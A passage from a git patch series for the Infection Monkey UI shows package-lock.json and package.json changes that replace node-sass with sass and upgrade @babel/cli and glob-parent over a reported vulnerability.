"sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==", - "dev": true - }, "requires-port": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", @@ -13520,16 +12698,13 @@ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" }, - "sass-graph": { - "version": "2.2.5", - "resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.5.tgz", - "integrity": "sha512-VFWDAHOe6mRuT4mZRd4eKE+d8Uedrk6Xnh7Sh9b4NGufQLQjOrvf/MQoOdx+0s92L89FeyUUNfU597j/3uNpag==", + "sass": { + "version": "1.41.1", + "resolved": "https://registry.npmjs.org/sass/-/sass-1.41.1.tgz", + "integrity": "sha512-vIjX7izRxw3Wsiez7SX7D+j76v7tenfO18P59nonjr/nzCkZuoHuF7I/Fo0ZRZPKr88v29ivIdE9BqGDgQD/Nw==", "dev": true, "requires": { - "glob": "^7.0.0", - "lodash": "^4.0.0", - "scss-tokenizer": "^0.2.3", - "yargs": "^13.3.2" + "chokidar": ">=3.0.0 <4.0.0" } }, "sass-loader": { @@ -13578,27 +12753,6 @@ "ajv-keywords": "^3.4.1" } }, - "scss-tokenizer": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz", - "integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=", - "dev": true, - "requires": { - "js-base64": "^2.1.8", - "source-map": "^0.4.2" - }, - "dependencies": { - "source-map": { - "version": "0.4.4", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz", - "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=", - "dev": true, - "requires": { - "amdefine": ">=0.0.4" - } - } - } - }, "select-hose": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", @@ -13717,12 +12871,6 @@ "send": "0.17.1" } }, - "set-blocking": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", - "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=", - "dev": true - }, "set-value": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", @@ -14246,23 +13394,6 @@ "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", "dev": true }, - "sshpk": { - "version": "1.16.1", - "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", - "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", - "dev": true, - "requires": { - "asn1": "~0.2.3", - "assert-plus": "^1.0.0", - "bcrypt-pbkdf": "^1.0.0", - "dashdash": "^1.12.0", - "ecc-jsbn": "~0.1.1", - "getpass": "^0.1.1", - "jsbn": "~0.1.0", - "safer-buffer": "^2.0.2", - "tweetnacl": "~0.14.0" - } - }, "static-extend": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", @@ -14292,26 +13423,6 @@ "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", "dev": true }, - "stdout-stream": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", - "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", - "dev": true, - "requires": { - "readable-stream": "^2.0.1" - } - }, - "string-width": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", - "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - } - }, "string.prototype.matchall": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.4.tgz", @@ -14443,30 +13554,12 @@ "ansi-regex": "^2.0.0" } }, - "strip-bom": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", - "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", - "dev": true, - "requires": { - "is-utf8": "^0.2.0" - } - }, "strip-final-newline": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", "dev": true }, - "strip-indent": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz", - "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", - "dev": true, - "requires": { - "get-stdin": "^4.0.1" - } - }, "strip-json-comments": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.0.tgz", @@ -15169,17 +14262,6 @@ "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", "dev": true }, - "tar": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz", - "integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==", - "dev": true, - "requires": { - "block-stream": "*", - "fstream": "^1.0.12", - "inherits": "2" - } - }, "terser": { "version": "5.8.0", "resolved": "https://registry.npmjs.org/terser/-/terser-5.8.0.tgz", @@ -15379,37 +14461,12 @@ "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", "dev": true }, - "tough-cookie": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", - "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", - "dev": true, - "requires": { - "psl": "^1.1.28", - "punycode": "^2.1.1" - } - }, - "trim-newlines": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz", - "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=", - "dev": true - }, "trough": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", "integrity": "sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==", "dev": true }, - "true-case-path": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", - "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", - "dev": true, - "requires": { - "glob": "^7.1.2" - } - }, "ts-loader": { "version": "8.1.0", "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.1.0.tgz", @@ -15575,21 +14632,6 @@ "pathseg": "^1.2.0" } }, - "tunnel-agent": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", - "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", - "dev": true, - "requires": { - "safe-buffer": "^5.0.1" - } - }, - "tweetnacl": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", - "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", - "dev": true - }, "type-check": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", @@ -15973,17 +15015,6 @@ "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=", "dev": true }, - "verror": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", - "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0", - "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" - } - }, "vfile": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz", @@ -16617,21 +15648,6 @@ "is-symbol": "^1.0.3" } }, - "which-module": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", - "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", - "dev": true - }, - "wide-align": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz", - "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", - "dev": true, - "requires": { - "string-width": "^1.0.2 || 2" - } - }, "wildcard": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.0.tgz", @@ -16644,51 +15660,6 @@ "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", "dev": true }, - "wrap-ansi": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", - "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.0", - "string-width": "^3.0.0", - "strip-ansi": "^5.0.0" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "string-width": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", - "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - } - } - }, "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", @@ -16728,102 +15699,11 @@ "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", "dev": true }, - "y18n": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", - "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", - "dev": true - }, - "yallist": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", - "dev": true - }, "yaml": { "version": "1.10.2", "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==" }, - "yargs": { - "version": "13.3.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", - "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", - "dev": true, - "requires": { - "cliui": "^5.0.0", - "find-up": "^3.0.0", - "get-caller-file": "^2.0.1", - "require-directory": "^2.1.1", - "require-main-filename": "^2.0.0", - "set-blocking": "^2.0.0", - "string-width": "^3.0.0", - "which-module": "^2.0.0", - "y18n": "^4.0.0", - "yargs-parser": "^13.1.2" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, - "find-up": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz", - "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==", - "dev": true, - "requires": { - "locate-path": "^3.0.0" - } - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "string-width": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", - "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - } - } - }, - "yargs-parser": { - "version": "13.1.2", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", - "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", - "dev": true, - "requires": { - "camelcase": "^5.0.0", - "decamelize": "^1.2.0" - }, - "dependencies": { - "camelcase": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", - "dev": true - } - } - }, "yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index dec16dba0..97c778d9d 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -50,11 +50,11 @@ "html-loader": "^0.5.5", "html-webpack-plugin": "^5.3.2", "minimist": "^1.2.5", - "node-sass": "^4.14.1", "npm": "^7.24.0", "null-loader": "^0.1.1", "react-addons-test-utils": "^15.6.2", "rimraf": "^2.7.1", + "sass": "^1.41.1", "sass-loader": "^7.3.1", "snyk": "^1.716.0", "style-loader": "^0.22.1", From 83615e8c66e45f4424796a21beb8fa989458c987 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Sep 2021 16:22:28 +0200 Subject: [PATCH 175/454] UI: Upgrade babel/cli due to vuln in glob-parent --- monkey/monkey_island/cc/ui/package-lock.json | 182 +++---------------- monkey/monkey_island/cc/ui/package.json | 2 +- 2 files changed, 26 insertions(+), 158 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 6d994e0a5..5e21bcff6 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -5,137 +5,27 @@ "requires": true, "dependencies": { "@babel/cli": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.13.14.tgz", - "integrity": "sha512-zmEFV8WBRsW+mPQumO1/4b34QNALBVReaiHJOkxhUsdo/AvYM62c+SKSuLi2aZ42t3ocK6OI0uwUXRvrIbREZw==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.15.4.tgz", + "integrity": "sha512-9RhhQ7tgKRcSO/jI3rNLxalLSk30cHqeM8bb+nGOJTyYBDpkoXw/A9QHZ2SYjlslAt4tr90pZQGIEobwWHSIDw==", "dev": true, "requires": { - "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents", + "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents.2", "chokidar": "^3.4.0", "commander": "^4.0.1", "convert-source-map": "^1.1.0", "fs-readdir-recursive": "^1.1.0", "glob": "^7.0.0", - "lodash": "^4.17.19", "make-dir": "^2.1.0", "slash": "^2.0.0", "source-map": "^0.5.0" }, "dependencies": { - "anymatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", - "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", - "dev": true, - "optional": true, - "requires": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - } - }, - "binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true, - "optional": true - }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "optional": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "chokidar": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz", - "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==", - "dev": true, - "optional": true, - "requires": { - "anymatch": "~3.1.1", - "braces": "~3.0.2", - "fsevents": "~2.3.1", - "glob-parent": "~5.1.0", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.5.0" - } - }, "commander": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", "dev": true - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "optional": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "fsevents": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", - "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", - "dev": true, - "optional": true - }, - "glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "optional": true, - "requires": { - "is-glob": "^4.0.1" - } - }, - "is-binary-path": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", - "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", - "dev": true, - "optional": true, - "requires": { - "binary-extensions": "^2.0.0" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true, - "optional": true - }, - "readdirp": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz", - "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==", - "dev": true, - "optional": true, - "requires": { - "picomatch": "^2.2.1" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "optional": true, - "requires": { - "is-number": "^7.0.0" - } } } }, @@ -2854,16 +2744,16 @@ "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==" }, "@nicolo-ribaudo/chokidar-2": { - "version": "2.1.8-no-fsevents", - "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.tgz", - "integrity": "sha512-+nb9vWloHNNMFHjGofEam3wopE3m1yuambrrd/fnPc+lFOMB9ROTqQlche9ByFWNkdNqfSgR/kkQtQ8DzEWt2w==", + "version": "2.1.8-no-fsevents.2", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.2.tgz", + "integrity": "sha512-Fb8WxUFOBQVl+CX4MWet5o7eCc6Pj04rXIwVKZ6h1NnqTo45eOQW6aWyhG25NIODvWFwTDMwBsYxrQ3imxpetg==", "dev": true, "optional": true, "requires": { "anymatch": "^2.0.0", "async-each": "^1.0.1", "braces": "^2.3.2", - "glob-parent": "^3.1.0", + "glob-parent": "^5.1.2", "inherits": "^2.0.3", "is-binary-path": "^1.0.0", "is-glob": "^4.0.0", @@ -3510,7 +3400,7 @@ "arr-flatten": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha1-NgSLv/TntH4TZkQxbJlmnqWukfE=", + "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", "dev": true, "optional": true }, @@ -6796,26 +6686,13 @@ } }, "glob-parent": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", - "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "dev": true, "optional": true, "requires": { - "is-glob": "^3.1.0", - "path-dirname": "^1.0.0" - }, - "dependencies": { - "is-glob": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", - "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", - "dev": true, - "optional": true, - "requires": { - "is-extglob": "^2.1.0" - } - } + "is-glob": "^4.0.1" } }, "glob-to-regexp": { @@ -8303,14 +8180,6 @@ "requires": { "pify": "^4.0.1", "semver": "^5.6.0" - }, - "dependencies": { - "pify": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", - "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", - "dev": true - } } }, "map-cache": { @@ -11490,13 +11359,6 @@ "dev": true, "optional": true }, - "path-dirname": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/path-dirname/-/path-dirname-1.0.2.tgz", - "integrity": "sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=", - "dev": true, - "optional": true - }, "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", @@ -11546,6 +11408,12 @@ "integrity": "sha512-KpELjfwcCDUb9PeigTs2mBJzXUPzAuP2oPcA989He8Rte0+YUAjw1JVedDhuTKPkHjSYzMN3npC9luThGYEKdg==", "dev": true }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==", + "dev": true + }, "pluralize": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", @@ -12556,9 +12424,9 @@ } }, "repeat-element": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.3.tgz", - "integrity": "sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz", + "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==", "dev": true, "optional": true }, @@ -13262,9 +13130,9 @@ } }, "source-map-url": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz", - "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=", + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz", + "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==", "dev": true, "optional": true }, diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 97c778d9d..285331cef 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -27,7 +27,7 @@ "not dead" ], "devDependencies": { - "@babel/cli": "^7.12.1", + "@babel/cli": "^7.15.4", "@babel/core": "^7.12.3", "@babel/plugin-proposal-class-properties": "^7.12.1", "@babel/plugin-transform-runtime": "^7.12.1", From 444fb90f933be3bcfb8ec315897a8cc30d981084 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Sep 2021 11:30:32 -0400 Subject: [PATCH 176/454] Agent: Return single AuthOptions from 